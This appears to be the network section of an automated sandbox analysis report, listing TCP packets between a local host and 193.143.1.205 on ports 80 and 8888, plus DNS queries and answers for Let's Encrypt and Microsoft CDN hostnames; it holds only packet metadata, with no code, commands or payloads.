Jan 11, 2025 01:34:55.370759010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370769024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370774031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370796919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370796919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370806932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370820999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370831966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370843887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370858908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370959997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370970011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370986938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370995998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371012926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371022940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371031046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371031046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371042967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371052980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371078014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371087074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371112108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371121883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371148109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371149063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371159077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371185064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371185064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371190071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371200085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371218920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371220112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371228933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371243954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371249914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371262074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.371267080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.371341944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.398695946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398708105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398734093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398745060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398770094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398786068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398796082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398802042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398808002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398813009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398834944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398844957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.398860931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.398917913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.398917913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.579750061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579782009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579792976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579813004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579826117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579848051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579858065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579878092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579894066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579910994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579926968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579930067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579943895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579962015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579972029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.579973936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.579972029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580001116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580012083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580013990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580013990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580032110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580041885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580044031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580061913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580069065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580070972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580101967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580111027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580116034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580137968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580146074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580156088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580172062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580179930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580189943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580198050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580216885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580226898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580241919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580241919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580246925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580257893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580257893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580272913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580287933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580302954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580317020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580317020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580327034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580344915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580354929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580367088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580374002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580387115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580389977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580398083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580426931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580427885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580439091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580462933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580462933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580468893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580490112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580507040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580519915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580519915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580528975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580542088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580552101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580559015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580573082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580583096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580589056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580604076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580615044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580627918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580634117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580645084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580651045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580663919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580674887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580677032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580698013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580715895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580722094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580744028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580754042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580770969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580773115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580789089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580796003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580812931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580828905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580837965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580848932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580861092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580868959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580878973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580899954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580903053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580910921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580931902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580940008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580940008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580964088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580972910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.580976963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.580996037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581006050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581006050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581027031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581033945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581041098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581060886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581077099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581078053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581100941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581103086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581115007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581131935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581146002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581150055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581165075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581172943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581183910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581195116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581206083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581214905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581226110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581234932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581253052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581260920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581265926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581285954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581307888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581311941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581317902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581342936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581346035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581351042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581351042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581361055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581386089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581391096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581402063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581418037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581423998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581434965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581446886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581453085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581468105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581478119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581487894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581499100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581510067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581521988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581531048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581542015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581547022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581563950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581573963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581578970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581594944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581607103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581614971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581628084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581639051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581650019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581660032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581669092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581676960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581697941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581707954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581710100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581728935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581738949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581739902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581760883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581768036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581772089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581796885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581805944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581820965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581828117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581840992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581851006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581861973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581873894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581876993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581895113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581903934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581909895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581924915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581935883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581938982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581958055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581963062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.581969976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.581990004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.582000017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.582010031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.582026005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.582043886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.582052946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.582077026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.710625887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.715744972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715775967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715792894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715807915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715827942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715842962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715862036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715873003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715878963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.715892076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715912104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715923071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715925932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.715925932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.715941906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715954065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715955973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.715974092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715985060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.715987921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.715993881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.716017962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.716036081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.716057062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.918435097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.922358990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:56.057995081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:56.527338028 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:56.532301903 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:56.536868095 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:56.537471056 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:56.542268991 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:57.330113888 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:57.376333952 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:57.699019909 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:35:09.392781019 CET	50805	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:35:09.392781019 CET	192.168.2.6	1.1.1.1	0xc314	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:35:09.401415110 CET	1.1.1.1	192.168.2.6	0xc314	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:09.773452044 CET	1.1.1.1	192.168.2.6	0x46f9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
